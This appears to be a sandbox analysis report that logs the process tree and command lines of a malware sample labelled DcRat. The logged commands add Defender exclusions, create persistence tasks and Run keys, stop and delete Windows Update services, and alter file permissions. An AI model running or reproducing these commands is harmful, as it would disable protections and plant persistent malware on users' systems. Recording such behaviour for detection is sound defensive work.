Explorer.EXE

pid process

700 Explorer.EXE

pid	process
700	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

222a4945a6837304d2f7fd06ad87346a.exeExplorer.EXE

pid	process
2220	222a4945a6837304d2f7fd06ad87346a.exe
2220	222a4945a6837304d2f7fd06ad87346a.exe
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

700 Explorer.EXE
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

660

pid	process
700	Explorer.EXE

pid	process
660

Suspicious behavior: MapViewOfSection 21 IoCs

Processes:

222a4945a6837304d2f7fd06ad87346a.exeCEE0.exeluE9XRS0fL.exeExplorer.EXE

pid	process
2220	222a4945a6837304d2f7fd06ad87346a.exe
1564	CEE0.exe
4744	luE9XRS0fL.exe
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE
700	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEwmic.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	700	Explorer.EXE
Token: SeCreatePagefilePrivilege	700	Explorer.EXE
Token: SeShutdownPrivilege	700	Explorer.EXE
Token: SeCreatePagefilePrivilege	700	Explorer.EXE
Token: SeShutdownPrivilege	700	Explorer.EXE
Token: SeCreatePagefilePrivilege	700	Explorer.EXE
Token: SeShutdownPrivilege	700	Explorer.EXE
Token: SeCreatePagefilePrivilege	700	Explorer.EXE
Token: SeShutdownPrivilege	700	Explorer.EXE
Token: SeCreatePagefilePrivilege	700	Explorer.EXE
Token: SeShutdownPrivilege	700	Explorer.EXE
Token: SeCreatePagefilePrivilege	700	Explorer.EXE
Token: SeShutdownPrivilege	700	Explorer.EXE
Token: SeCreatePagefilePrivilege	700	Explorer.EXE
Token: SeShutdownPrivilege	700	Explorer.EXE
Token: SeCreatePagefilePrivilege	700	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	4640	wmic.exe
Token: SeSecurityPrivilege	4640	wmic.exe
Token: SeTakeOwnershipPrivilege	4640	wmic.exe
Token: SeLoadDriverPrivilege	4640	wmic.exe
Token: SeSystemProfilePrivilege	4640	wmic.exe
Token: SeSystemtimePrivilege	4640	wmic.exe
Token: SeProfSingleProcessPrivilege	4640	wmic.exe
Token: SeIncBasePriorityPrivilege	4640	wmic.exe
Token: SeCreatePagefilePrivilege	4640	wmic.exe
Token: SeBackupPrivilege	4640	wmic.exe
Token: SeRestorePrivilege	4640	wmic.exe
Token: SeShutdownPrivilege	4640	wmic.exe
Token: SeDebugPrivilege	4640	wmic.exe
Token: SeSystemEnvironmentPrivilege	4640	wmic.exe
Token: SeRemoteShutdownPrivilege	4640	wmic.exe
Token: SeUndockPrivilege	4640	wmic.exe
Token: SeManageVolumePrivilege	4640	wmic.exe
Token: 33	4640	wmic.exe
Token: 34	4640	wmic.exe
Token: 35	4640	wmic.exe
Token: 36	4640	wmic.exe
Token: SeIncreaseQuotaPrivilege	4640	wmic.exe
Token: SeSecurityPrivilege	4640	wmic.exe
Token: SeTakeOwnershipPrivilege	4640	wmic.exe
Token: SeLoadDriverPrivilege	4640	wmic.exe
Token: SeSystemProfilePrivilege	4640	wmic.exe
Token: SeSystemtimePrivilege	4640	wmic.exe
Token: SeProfSingleProcessPrivilege	4640	wmic.exe
Token: SeIncBasePriorityPrivilege	4640	wmic.exe
Token: SeCreatePagefilePrivilege	4640	wmic.exe
Token: SeBackupPrivilege	4640	wmic.exe
Token: SeRestorePrivilege	4640	wmic.exe
Token: SeShutdownPrivilege	4640	wmic.exe
Token: SeDebugPrivilege	4640	wmic.exe
Token: SeSystemEnvironmentPrivilege	4640	wmic.exe
Token: SeRemoteShutdownPrivilege	4640	wmic.exe
Token: SeUndockPrivilege	4640	wmic.exe
Token: SeManageVolumePrivilege	4640	wmic.exe
Token: 33	4640	wmic.exe
Token: 34	4640	wmic.exe
Token: 35	4640	wmic.exe
Token: 36	4640	wmic.exe
Token: SeShutdownPrivilege	700	Explorer.EXE
Token: SeCreatePagefilePrivilege	700	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2580	WMIC.exe
Token: SeSecurityPrivilege	2580	WMIC.exe
Token: SeTakeOwnershipPrivilege	2580	WMIC.exe
Token: SeLoadDriverPrivilege	2580	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

rundll32.exe

pid process

3948 rundll32.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Explorer.EXE

pid process

700 Explorer.EXE
700 Explorer.EXE

pid	process
3948	rundll32.exe

pid	process
700	Explorer.EXE
700	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXEC75C.exeC75C.exeC75C.exeCAE7.exeC75C.exevbc.execmd.execmd.exe

description	pid	process	target process
PID 700 wrote to memory of 1496	700	Explorer.EXE	C75C.exe
PID 700 wrote to memory of 1496	700	Explorer.EXE	C75C.exe
PID 700 wrote to memory of 1496	700	Explorer.EXE	C75C.exe
PID 700 wrote to memory of 1468	700	Explorer.EXE	CAE7.exe
PID 700 wrote to memory of 1468	700	Explorer.EXE	CAE7.exe
PID 700 wrote to memory of 1468	700	Explorer.EXE	CAE7.exe
PID 700 wrote to memory of 1564	700	Explorer.EXE	CEE0.exe
PID 700 wrote to memory of 1564	700	Explorer.EXE	CEE0.exe
PID 700 wrote to memory of 1564	700	Explorer.EXE	CEE0.exe
PID 700 wrote to memory of 4324	700	Explorer.EXE	D0B5.exe
PID 700 wrote to memory of 4324	700	Explorer.EXE	D0B5.exe
PID 700 wrote to memory of 4324	700	Explorer.EXE	D0B5.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1496 wrote to memory of 1816	1496	C75C.exe	C75C.exe
PID 1816 wrote to memory of 2672	1816	C75C.exe	icacls.exe
PID 1816 wrote to memory of 2672	1816	C75C.exe	icacls.exe
PID 1816 wrote to memory of 2672	1816	C75C.exe	icacls.exe
PID 1816 wrote to memory of 1140	1816	C75C.exe	C75C.exe
PID 1816 wrote to memory of 1140	1816	C75C.exe	C75C.exe
PID 1816 wrote to memory of 1140	1816	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1140 wrote to memory of 1944	1140	C75C.exe	C75C.exe
PID 1468 wrote to memory of 4320	1468	CAE7.exe	vbc.exe
PID 1468 wrote to memory of 4320	1468	CAE7.exe	vbc.exe
PID 1468 wrote to memory of 4320	1468	CAE7.exe	vbc.exe
PID 1468 wrote to memory of 4320	1468	CAE7.exe	vbc.exe
PID 1468 wrote to memory of 4320	1468	CAE7.exe	vbc.exe
PID 1944 wrote to memory of 1148	1944	C75C.exe	build2.exe
PID 1944 wrote to memory of 1148	1944	C75C.exe	build2.exe
PID 1944 wrote to memory of 1148	1944	C75C.exe	build2.exe
PID 4320 wrote to memory of 4640	4320	vbc.exe	wmic.exe
PID 4320 wrote to memory of 4640	4320	vbc.exe	wmic.exe
PID 4320 wrote to memory of 4640	4320	vbc.exe	wmic.exe
PID 4320 wrote to memory of 4860	4320	vbc.exe	cmd.exe
PID 4320 wrote to memory of 4860	4320	vbc.exe	cmd.exe
PID 4320 wrote to memory of 4860	4320	vbc.exe	cmd.exe
PID 4860 wrote to memory of 2580	4860	cmd.exe	WMIC.exe
PID 4860 wrote to memory of 2580	4860	cmd.exe	WMIC.exe
PID 4860 wrote to memory of 2580	4860	cmd.exe	WMIC.exe
PID 4320 wrote to memory of 3736	4320	vbc.exe	cmd.exe
PID 4320 wrote to memory of 3736	4320	vbc.exe	cmd.exe
PID 4320 wrote to memory of 3736	4320	vbc.exe	cmd.exe
PID 3736 wrote to memory of 3972	3736	cmd.exe	WMIC.exe
PID 3736 wrote to memory of 3972	3736	cmd.exe	WMIC.exe
PID 3736 wrote to memory of 3972	3736	cmd.exe	WMIC.exe
PID 1944 wrote to memory of 4164	1944	C75C.exe	build3.exe
PID 1944 wrote to memory of 4164	1944	C75C.exe	build3.exe
PID 1944 wrote to memory of 4164	1944	C75C.exe	build3.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:700

C:\Users\Admin\AppData\Local\Temp\222a4945a6837304d2f7fd06ad87346a.exe
"C:\Users\Admin\AppData\Local\Temp\222a4945a6837304d2f7fd06ad87346a.exe"
2⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2220

C:\Users\Admin\AppData\Local\Temp\C75C.exe
C:\Users\Admin\AppData\Local\Temp\C75C.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1496

C:\Users\Admin\AppData\Local\Temp\C75C.exe
C:\Users\Admin\AppData\Local\Temp\C75C.exe
3⤵
- DcRat
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\c1fe8281-b19c-4604-aae7-c2d0c6362641" /deny *S-1-1-0:(OI)(CI)(DE,DC)
4⤵
- Modifies file permissions
PID:2672

C:\Users\Admin\AppData\Local\Temp\C75C.exe
"C:\Users\Admin\AppData\Local\Temp\C75C.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1140

C:\Users\Admin\AppData\Local\Temp\C75C.exe
"C:\Users\Admin\AppData\Local\Temp\C75C.exe" --Admin IsNotAutoStart IsNotTask
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1944

C:\Users\Admin\AppData\Local\5f5dca8b-e784-480e-a0f5-bbfc10d57c8d\build2.exe
"C:\Users\Admin\AppData\Local\5f5dca8b-e784-480e-a0f5-bbfc10d57c8d\build2.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1148

C:\Users\Admin\AppData\Local\5f5dca8b-e784-480e-a0f5-bbfc10d57c8d\build2.exe
"C:\Users\Admin\AppData\Local\5f5dca8b-e784-480e-a0f5-bbfc10d57c8d\build2.exe"
7⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:4808

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\5f5dca8b-e784-480e-a0f5-bbfc10d57c8d\build2.exe" & exit
8⤵
PID:628

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
9⤵
- Delays execution with timeout.exe
PID:2396

C:\Users\Admin\AppData\Local\5f5dca8b-e784-480e-a0f5-bbfc10d57c8d\build3.exe
"C:\Users\Admin\AppData\Local\5f5dca8b-e784-480e-a0f5-bbfc10d57c8d\build3.exe"
6⤵
- Executes dropped EXE
PID:4164

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- DcRat
- Creates scheduled task(s)
PID:2524

C:\Users\Admin\AppData\Local\Temp\CAE7.exe
C:\Users\Admin\AppData\Local\Temp\CAE7.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1468

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:4320

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic os get Caption
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4640

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic path win32_VideoController get name"
4⤵
- Suspicious use of WriteProcessMemory
PID:4860

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic path win32_VideoController get name
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2580

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic cpu get name"
4⤵
- Suspicious use of WriteProcessMemory
PID:3736

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic cpu get name
5⤵
PID:3972

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "" "start-process C:\Users\Admin\AppData\Local\Temp\luE9XRS0fL.exe"
4⤵
PID:4732

C:\Users\Admin\AppData\Local\Temp\luE9XRS0fL.exe
"C:\Users\Admin\AppData\Local\Temp\luE9XRS0fL.exe"
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1468 -s 252
3⤵
- Program crash
PID:456

C:\Users\Admin\AppData\Local\Temp\CEE0.exe
C:\Users\Admin\AppData\Local\Temp\CEE0.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1564

C:\Users\Admin\AppData\Local\Temp\D0B5.exe
C:\Users\Admin\AppData\Local\Temp\D0B5.exe
2⤵
- Executes dropped EXE
PID:4324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4324 -s 344
3⤵
- Program crash
PID:2312

C:\Users\Admin\AppData\Local\Temp\50B4.exe
C:\Users\Admin\AppData\Local\Temp\50B4.exe
2⤵
- Executes dropped EXE
PID:5036

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\Qytyaworpiotpd.tmp",Edoqqdswdffqipe
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Checks processor information in registry
PID:4592

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 23803
4⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
PID:3948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 540
3⤵
- Program crash
PID:3516

C:\Users\Admin\AppData\Local\Temp\A7BE.exe
C:\Users\Admin\AppData\Local\Temp\A7BE.exe
2⤵
- Executes dropped EXE
PID:524

C:\Users\Admin\AppData\Local\Temp\BA7C.exe
C:\Users\Admin\AppData\Local\Temp\BA7C.exe
2⤵
- Executes dropped EXE
PID:3672

C:\Users\Admin\AppData\Local\Temp\BF21.exe
C:\Users\Admin\AppData\Local\Temp\BF21.exe
2⤵
- Executes dropped EXE
PID:3896

C:\Users\Admin\AppData\Local\Temp\C4DE.exe
C:\Users\Admin\AppData\Local\Temp\C4DE.exe
2⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:2044

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ipconfig/release
3⤵
PID:1412

C:\Windows\SysWOW64\ipconfig.exe
ipconfig /release
4⤵
- Gathers network information
PID:4020

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMQAwAA==
3⤵
PID:4932

C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe
"C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
PID:4412

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ipconfig/renew
3⤵
PID:2284

C:\Windows\SysWOW64\ipconfig.exe
ipconfig /renew
4⤵
- Gathers network information
PID:1440

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:3336

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
3⤵
PID:2024

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:2352

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:4104

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:1448

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:4428

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:4256

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:4692

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:1184

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:1476

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:5036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }
2⤵
PID:2524

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:2088

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:3688

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:3380

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:2072

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:1340

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:3100

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:3892

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4952

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1288

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4216

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1564

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:800

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:4272

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:1292

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:1360

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qzignfste#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsHost" } Else { "C:\Program Files\Windows\WindowsHost" }
2⤵
PID:4500

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn WindowsHost
3⤵
PID:4712

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"
2⤵
PID:3464

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:3408

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2360

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:4628

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:220

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2152

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:2368

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:112

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3448

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:4992

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:748

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:1564

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4976

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:4204

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:532

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:4804

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:1176

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:1288

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:4216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1496

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe yadsrbyzjoct
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:1388

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:876

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:3856

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:3596

C:\Windows\System32\svchost.exe
